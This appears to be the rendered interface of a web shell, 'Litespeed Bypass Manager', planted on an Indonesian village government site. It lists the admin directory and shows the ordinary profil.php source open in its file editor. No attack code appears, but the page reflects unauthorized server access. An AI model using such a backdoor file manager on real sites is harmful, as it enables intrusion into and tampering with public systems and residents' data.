Litespeed Bypass Manager
Direktori:
/admin
⬆️ Kembali
Buat Folder Baru
Buat Folder
Upload File
Upload
⚠️ Litespeed Uploader
Isi Folder
📁
Template
Folder
Hapus
📁
assets
Folder
Hapus
📁
assets2
Folder
Hapus
📁
calender
Folder
Hapus
📁
ckeditor
Folder
Hapus
📁
css
Folder
Hapus
📁
datatables
Folder
Hapus
📁
fonts
Folder
Hapus
📁
images
Folder
Hapus
📁
includes
Folder
Hapus
📁
js
Folder
Hapus
📁
leaflet
Folder
Hapus
📁
scripts
Folder
Hapus
📁
spreadsheet-reader-master
Folder
Hapus
📁
uploads
Folder
Hapus
📁
vendor
Folder
Hapus
📄 aksi.php
Edit
Hapus
📄 aksiGetPenduduk.php
Edit
Hapus
📄 aksiGetPenduduk2.php
Edit
Hapus
📄 apbdes.php
Edit
Hapus
📄 artikel.php
Edit
Hapus
📄 belanja_proses.php
Edit
Hapus
📄 buat_surat.php
Edit
Hapus
📄 buat_surat2.php
Edit
Hapus
📄 cari_penduduk.php
Edit
Hapus
📄 config.php
Edit
Hapus
📄 daftar_proses.php
Edit
Hapus
📄 data.php
Edit
Hapus
📄 data_surat.php
Edit
Hapus
📄 error_log
Edit
Hapus
📄 excel_reader.php
Edit
Hapus
📄 exportexcelindividu.php
Edit
Hapus
📄 exportexcelkeluarga.php
Edit
Hapus
📄 exportxls.php
Edit
Hapus
📄 functions.php
Edit
Hapus
📄 hapus_artikel_proses.php
Edit
Hapus
📄 hapus_legal_proses.php
Edit
Hapus
📄 hapus_lembaga_proses.php
Edit
Hapus
📄 hapus_profil_proses.php
Edit
Hapus
📄 hapus_sig_proses.php
Edit
Hapus
📄 hapus_surat.php
Edit
Hapus
📄 hapus_user_proses.php
Edit
Hapus
📄 hidden_aduan_proses.php
Edit
Hapus
📄 hidden_profil_proses.php
Edit
Hapus
📄 home.php
Edit
Hapus
📄 importindividu.php
Edit
Hapus
📄 importkeluarga.php
Edit
Hapus
📄 index.php
Edit
Hapus
📄 individu.php
Edit
Hapus
📄 keluarga.php
Edit
Hapus
📄 konfigurasi.php
Edit
Hapus
📄 laporan_bulan.php
Edit
Hapus
📄 legal.php
Edit
Hapus
📄 lembaga.php
Edit
Hapus
📄 lembaga_proses.php
Edit
Hapus
📄 lembaga_ubah_proses.php
Edit
Hapus
📄 logo_proses.php
Edit
Hapus
📄 modal_detail.php
Edit
Hapus
📄 modal_disposisi.php
Edit
Hapus
📄 modal_selesai.php
Edit
Hapus
📄 modal_tindaklanjut.php
Edit
Hapus
📄 modal_ubah_anggaran.php
Edit
Hapus
📄 modal_ubah_artikel.php
Edit
Hapus
📄 modal_ubah_belanja.php
Edit
Hapus
📄 modal_ubah_individu.php
Edit
Hapus
📄 modal_ubah_keluarga.php
Edit
Hapus
📄 modal_ubah_legal.php
Edit
Hapus
📄 modal_ubah_lembaga.php
Edit
Hapus
📄 modal_ubah_profil.php
Edit
Hapus
📄 modal_ubah_realisasi.php
Edit
Hapus
📄 modal_ubah_realisasibelanja.php
Edit
Hapus
📄 modal_ubah_sig.php
Edit
Hapus
📄 modal_ubah_user.php
Edit
Hapus
📄 modal_view_individu.php
Edit
Hapus
📄 modal_view_keluarga.php
Edit
Hapus
📄 modal_view_mutasipenduduk.php
Edit
Hapus
📄 modal_view_surat.php
Edit
Hapus
📄 mutasi_penduduk.php
Edit
Hapus
📄 notif.js
Edit
Hapus
📄 notif.php
Edit
Hapus
📄 notif_pengaduan.php
Edit
Hapus
📄 notifikasi.php
Edit
Hapus
📄 pemdes.php
Edit
Hapus
📄 pendapatan_proses.php
Edit
Hapus
📄 penduduk_keluar.php
Edit
Hapus
📄 penduduk_masuk.php
Edit
Hapus
📄 pengaduan.php
Edit
Hapus
📄 profil.php
Edit
Hapus
📄 profil_proses.php
Edit
Hapus
📄 profil_ubah_proses.php
Edit
Hapus
📄 proses_konfigurasi.php
Edit
Hapus
📄 proses_penduduk_keluar.php
Edit
Hapus
📄 proses_penduduk_masuk.php
Edit
Hapus
📄 proses_upload.php
Edit
Hapus
📄 regUser.php
Edit
Hapus
📄 sig.php
Edit
Hapus
📄 simpan_surat.php
Edit
Hapus
📄 surat.php
Edit
Hapus
📄 surat_aksi.php
Edit
Hapus
📄 tambah_artikel_proses.php
Edit
Hapus
📄 tambah_legal_proses.php
Edit
Hapus
📄 tambah_sig_proses.php
Edit
Hapus
📄 tampil_aduan_proses.php
Edit
Hapus
📄 tampil_profil_proses.php
Edit
Hapus
📄 template_surat.php
Edit
Hapus
📄 template_surat2.php
Edit
Hapus
📄 to_xls.php
Edit
Hapus
📄 ubahDisposisi.php
Edit
Hapus
📄 ubahPassword.php
Edit
Hapus
📄 ubahSelesai.php
Edit
Hapus
📄 ubahStatus_user_proses.php
Edit
Hapus
📄 ubahTindakan.php
Edit
Hapus
📄 ubah_artikel_proses.php
Edit
Hapus
📄 ubah_belanja_proses.php
Edit
Hapus
📄 ubah_individu_proses.php
Edit
Hapus
📄 ubah_keluarga_proses.php
Edit
Hapus
📄 ubah_legal_proses.php
Edit
Hapus
📄 ubah_pendapatan_proses.php
Edit
Hapus
📄 ubah_realisasi_proses.php
Edit
Hapus
📄 ubah_realisasibelanja_proses.php
Edit
Hapus
📄 ubah_sig_proses.php
Edit
Hapus
📄 ubah_user_proses.php
Edit
Hapus
📄 viewBottomProfil.php
Edit
Hapus
📄 viewTopProfil.php
Edit
Hapus
📄 viewapbdes.php
Edit
Hapus
📄 viewartikel.php
Edit
Hapus
📄 viewbelanja.php
Edit
Hapus
📄 viewbpd.php
Edit
Hapus
📄 viewer.php
Edit
Hapus
📄 viewindividu.php
Edit
Hapus
📄 viewkeluarga.php
Edit
Hapus
📄 viewlegal.php
Edit
Hapus
📄 viewlpmd.php
Edit
Hapus
📄 viewmutasipenduduk.php
Edit
Hapus
📄 viewpemdes.php
Edit
Hapus
📄 viewrealisasi.php
Edit
Hapus
📄 viewrealisasibelanja.php
Edit
Hapus
📄 viewsig.php
Edit
Hapus
📄 viewsuara.php
Edit
Hapus
📄 viewsurat.php
Edit
Hapus
📄 viewuser.php
Edit
Hapus
Edit File: profil.php
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/limonte-sweetalert2/7.33.1/sweetalert2.min.css"/> <script src="https://cdnjs.cloudflare.com/ajax/libs/limonte-sweetalert2/7.33.1/sweetalert2.min.js"></script> <?php session_start(); include_once '../librari/inc.koneksidb.php'; include_once "../librari/inc.librari.php"; $sql = "select max(id_profil) from profil"; $query = mysql_query($sql, $koneksiDbs); $jml = mysql_fetch_row($query); $nomer = $jml[0] + 1; ?> <section id="topic-header" > <div class="container-fluid"> <div class="row"> <div class="col-md-8"> <h3><i class="fa fa-braille" aria-hidden="true"></i> Profil Desa</h3> <p></p> </div> <!-- /.col-md-4 --> <div class="col-md-4 hidden-xs"> <ol class="breadcrumb pull-right"> <li><a href="index.php">Home</a></li> <li class="active">Profil Desa</li> </ol> </div> <!-- /.col-md-8 --> </div> <!-- /.row --> </div> <!-- /.container--> </section><!-- /Section --> <div class="container-fluid" style="margin-top:40px"> <div class="row"> <div class="col-md-12"> <p class="text-left"><a href="javascript.void(0)" class="btn btn-success" data-target="#ModalAddProfil" data-toggle="modal"><i class="fa fa-plus-square" aria-hidden="true"></i> Tambah</a> <a href="#" onclick=" $('.tab-menu').load('profil.php');" class="btn btn-info"><i class="fa fa-refresh" aria-hidden="true"></i> Refresh</a></p> <!-- Nav tabs --> <ul class="nav nav-tabs" style="margin-top:30px"> <li class="active"><a href="#topProfil" data-toggle="tab">Top Profil</a></li> <li><a href="#bottomProfil" data-toggle="tab">Bottom Profil</a></li> </ul> <!-- Tab panes --> <div class="tab-content" style="margin-top:30px;"> <div class="tab-pane active" id="topProfil"> <div class='table-responsive'> <table id="my-gridTopProfil" class="tableku" style="font-size:12px;"> <thead style="background:#2e323a"> <tr> <th class='no-sort'>No</th> <th class='no-sort'>Foto</th> <th class='no-sort'>Judul</th> <th class='no-sort'>Isi Profil</th> <th class='no-sort'>Tab Profil</th> <th class='no-sort'>Show / Hidden</th> <th class='no-sort'>Edit</th> <th class='no-sort'>Hapus</th> </tr> </thead> <tbody> </tbody> </table> </div> <script> $(document).ready(function() { var dataTable = $('#my-gridTopProfil').DataTable( { "processing": true, "serverSide": true, "ajax":{ url :"viewTopProfil.php", // json datasource type: "post", // method , by default get error: function(){ // error handling $(".lookup-error").html(""); $("#my-gridTopProfil").append('<tbody class="employee-grid-error"><tr><th colspan="3">No data found in the server</th></tr></tbody>'); $("#lookup_processing").css("display","none"); } }, } ); } ); </script> </div> <div class="tab-pane" id="bottomProfil"> <div class='table-responsive'> <table id="my-gridBottomProfil" class="tableku" style="font-size:12px;width:100%;"> <thead style="background:#2e323a"> <tr> <th class='no-sort'>No</th> <th class='no-sort'>Foto</th> <th class='no-sort'>Judul</th> <th class='no-sort'>Isi Profil</th> <th class='no-sort'>Tab Profil</th> <th class='no-sort'>Show / Hidden</th> <th class='no-sort'>Edit</th> <th class='no-sort'>Hapus</th> </tr> </thead> <tbody> </tbody> </table> </div> <script> $(document).ready(function() { var dataTable = $('#my-gridBottomProfil').DataTable( { "processing": true, "serverSide": true, "ajax":{ url :"viewBottomProfil.php", // json datasource type: "post", // method , by default get error: function(){ // error handling $(".lookup-error").html(""); $("#my-gridBottomProfil").append('<tbody class="employee-grid-error"><tr><th colspan="3">No data found in the server</th></tr></tbody>'); $("#lookup_processing").css("display","none"); } }, } ); } ); </script> </div> </div> </div> <!-- End of /.col-md-12 --> </div> <!-- End of /.row --> <div class="container-fluid" style="margin-top:30px;"> <div class="row"> <div class="alert alert-info" style="border-left: 5px solid blue;" > <p><strong>Pengaturan Profil Desa. </strong>Pengaturan ini akan muncul di halaman website Desa di menu profil.</p> <p><strong>Cara Pengaturan :</strong> Pilih pada tab menu Top Profil / Bottom Profil. Kemudian tambahkan sub profil desa dan seting show/ tampilkan. Bisa juga edit dan hapus sub profil.</p> </div> </div> </div> <div id="ModalAddProfil" data-backdrop="static" data-keyboard="false" class="modal fade" tabindex="-1" role="dialog" aria-labelledby="myModalLabel"> <div class="modal-dialog modal-md"> <div class="modal-content"> <div class="panel panel-success" style="margin-bottom:0px;"> <button type="button" class="close" data-dismiss="modal" aria-hidden="true">×</button> <div class="panel-heading"><h4>Tambah Profil</h4></div> <div class="panel-body"> <form action="" class="form-horizontal" method="post" id="postform" name="postform" target="_self" enctype="multipart/form-data" > <div class="form-group"> <label class="control-label col-sm-4">No. Profil</label> <div class="col-sm-8"> <input class="form-control mb-2" name="no" type="text" id="no" readonly value="<?php echo $nomer ; ?>"/> </div> </div> <div class="form-group"> <label class="control-label col-sm-4">Katagori Profil</label> <div class="col-sm-8"> <select class="form-control mb-2" name="CMBprofil" id="CMBprofil" onchange="cekprofil();"> <option value="BLANK" >-- Pilih Katagori Profil --</option> <option value="topprofil">Top Profil</option> <option value="bottomprofil">Bottom Profil</option> </select> </div> </div> <div class="form-group"> <label class="control-label col-sm-4">Judul</label> <div class="col-sm-8"> <input class="form-control mb-2" name="judul" type="text" id="judul" placeholder="Masukan Nama"/> </div> </div> <div class="form-group"> <label class="control-label col-sm-12" style="text-align:left; margin-bottom:10px;">Tulis Narasi :</label> <div class="col-sm-12"> <textarea class="form-control" name="isiProfil" id="isiProfil" rows="30" required="required"></textarea> <script> CKEDITOR.replace('isiProfil'); </script> </div> </div> <div class="form-group" id="TopProfil"> <label class="control-label col-sm-4" style="text-align:left;">Upload Foto<br/><br/><p style="font-size:11px;color:grey;text-align:left;">1. File Maksimal 500kb.<br>2. Ukuran Foto disarankan "POTRAIT" untuk Proporsional tampilan.<br> 3. Format Foto JPG, JPEG or PNG.</p></label> <div class="col-sm-8"> <input class="form-control" name="foto" id="foto" type="file" onchange="previewImageUpdate();" /> <span id="file_error"></span> <img style="margin-top:10px;" id="image-preview-update" alt="image preview" width="100px"/><br> <center><div id="loading"></div></center><br> </div> </div> <div class="form-group"> <div class="col-sm-offset-4 col-sm-8"> <button class="btn btn-success" name="btnSimpanProfil" type="submit" id="btnSimpanProfil" />Simpan</button> <button type="button" class="btn btn-danger" data-dismiss="modal">Close</button> </div> </div> </form> <div class="alertBox" style="margin-top:20px;"></div> </div> </div> </div> </div> </div> <div id="modal-tampil-profil" data-backdrop="static" data-keyboard="false" class="modal fade" tabindex="-1" role="dialog" aria-labelledby="myModalLabel"> <div class="modal-dialog"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title">Konfirmasi untuk menampilkan Profil ?</h5> <p>Profil akan ditampilkan di website Desa.</p> <button type="button" class="close" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> <div class="modal-footer" style="margin:0px; border-top:0px; text-align:center;"> <button type="button" class="btn btn-danger" id="tampil_linkprofil">Tampilkan</button> <button type="button" class="btn btn-success" data-dismiss="modal">Cancel</button> </div> </div> </div> </div> <script type="text/javascript"> $('body').on('click', '.open_tampil_profil', function(e) { var id = $(this).attr("id"); e.preventDefault(); $('#modal-tampil-profil').modal('show'); $("#tampil_linkprofil").on("click", function() { $.ajax({ url: "tampil_profil_proses.php", method: "POST", data: { no: id, }, }); Swal.fire('Berhasil!','Profil berhasil ditampilkan.','success'); $("#modal-tampil-profil").modal('hide'); //return false; }); }); </script> <div id="modal-hidden-profil" data-backdrop="static" data-keyboard="false" class="modal fade" tabindex="-1" role="dialog" aria-labelledby="myModalLabel"> <div class="modal-dialog"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title">Konfirmasi untuk menyembunyikan Profil ?</h5> <p>Profil akan disembunyikan di website Desa.</p> <button type="button" class="close" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> <div class="modal-footer" style="margin:0px; border-top:0px; text-align:center;"> <button type="button" class="btn btn-danger" id="hidden_linkprofil">Sembunyikan</button> <button type="button" class="btn btn-success" data-dismiss="modal">Cancel</button> </div> </div> </div> </div> <script type="text/javascript"> $('body').on('click', '.open_hidden_profil', function(e) { var id = $(this).attr("id"); e.preventDefault(); $('#modal-hidden-profil').modal('show'); $("#hidden_linkprofil").on("click", function() { $.ajax({ url: "hidden_profil_proses.php", method: "POST", data: { no: id, }, }); Swal.fire('Berhasil!','Profil berhasil disembunyikan.','success'); $("#modal-hidden-profil").modal('hide'); //return false; }); }); </script> <script type="text/javascript"> $('#TopProfil').hide(); $('#image-preview-update').hide(); function previewImageUpdate() { $("#file_error").html(""); $("#foto").css("border-color","#F0F0F0"); var file_size = $('#foto')[0].files[0].size; if(file_size>500000) { $("#file_error").html("File maksimal 500 kb"); $("#foto").css("border-color","#FF0000"); $('#image-preview-update').hide(); return false; } else { document.getElementById("image-preview-update").style.display = "block"; var oFReader = new FileReader(); oFReader.readAsDataURL(document.getElementById("foto").files[0]); oFReader.onload = function(oFREvent) { document.getElementById("image-preview-update").src = oFREvent.target.result; }; $('#image-preview-update').show(); } }; function cekprofil() { if ($("#CMBprofil").val()=='topprofil') { $('#TopProfil').show(); } else { $('#TopProfil').hide(); } }; </script> <script type="text/javascript"> $("#btnSimpanProfil").click(function(e){ e.preventDefault(); var no = $("#no").val(); var judul = $("#judul").val(); var CMBprofil = document.getElementById("CMBprofil").value; var isi = CKEDITOR.instances['isiProfil'].getData(); const foto = $('#foto').prop('files')[0]; if (judul!="" && isi!="" && CMBprofil!="BLANK") { if (CMBprofil=="topprofil"){ if($('#foto').val()=='') { Swal.fire('Warning!','Foto masi kosong.','warning'); return false; } var file_size = $('#foto')[0].files[0].size; if(file_size>500000) { Swal.fire('Warning!','Foto maksimal 500 kb.','warning'); return false; } } let formData = new FormData(); formData.append('no', no); formData.append('judul', judul); formData.append('isi', isi); formData.append('CMBprofil', CMBprofil); formData.append('foto', foto); $.ajax({ type: 'POST', url: "profil_proses.php", data: formData, cache: false, processData: false, contentType: false, dataType: "json", success: function(a) { if(a.status=="berhasil"){ $("#no").val(''); $("#judul").val(''); $("#CMBprofil").val('BLANK'); Swal.fire('Berhasil','Profil baru berhasil dibuat','success'); $("#ModalAddProfil").modal('hide'); } else { $(".alertBox").html("<div class='alert alert-danger alert-dismissible'><a href='#' class='close' data-dismiss='alert' aria-label='close'>×</a> "+a.pesan+"</div>"); Swal.fire('Eroor!',''+a.pesan,'error'); } }, error: function(a,b,c){ console.log("Coba sekali lagi"); }, }) } else { Swal.fire('Warning!','Data belum lengkap.','warning'); $(".alertBox").html("<div class='alert alert-danger alert-dismissible'><a href='#' class='close' data-dismiss='alert' aria-label='close'>×</a>Mohon lengkapi isian data...</div>"); } }); </script> <div id="ModaleditProfil" data-backdrop="static" data-keyboard="false" class="modal fade" tabindex="-1" role="dialog" aria-labelledby="myModalLabel"> </div> <script type="text/javascript"> $('body').on('click', '.open_edit_profil', function(e) { var m = $(this).attr("id"); e.preventDefault(); $.ajax({ url: "modal_ubah_profil.php", type: "POST", data: { no: m, }, success: function(ajaxData) { $("#ModaleditProfil").html(ajaxData); $("#ModaleditProfil").modal('show', { backdrop: 'static', keyboard: false }); } }); }); </script> <div id="modal-deleteprofil" data-backdrop="static" data-keyboard="false" class="modal fade" tabindex="-1" role="dialog" aria-labelledby="myModalLabel"> <div class="modal-dialog"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title">Konfirmasi untuk Hapus data ?</h5> <button type="button" class="close" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> <div class="modal-footer" style="margin:0px; border-top:0px; text-align:center;"> <button type="button" class="btn btn-danger" id="delete_linkprofil">Delete</button> <button type="button" class="btn btn-success" data-dismiss="modal">Cancel</button> </div> </div> </div> </div> <script type="text/javascript"> $('body').on('click', '.open_hapus_profil', function(e) { var id = $(this).attr("id"); e.preventDefault(); $('#modal-deleteprofil').modal('show'); $("#delete_linkprofil").on("click", function() { $.ajax({ url: "hapus_profil_proses.php", method: "POST", data: { no: id, }, success: function(response) { Swal.fire('Sukses Hapus!','Data Berhasil dihapus.','success'); } }); $("#modal-deleteprofil").modal('hide'); //return false; }); }); </script>
Simpan
Catatan: Mengedit file biner tidak disarankan.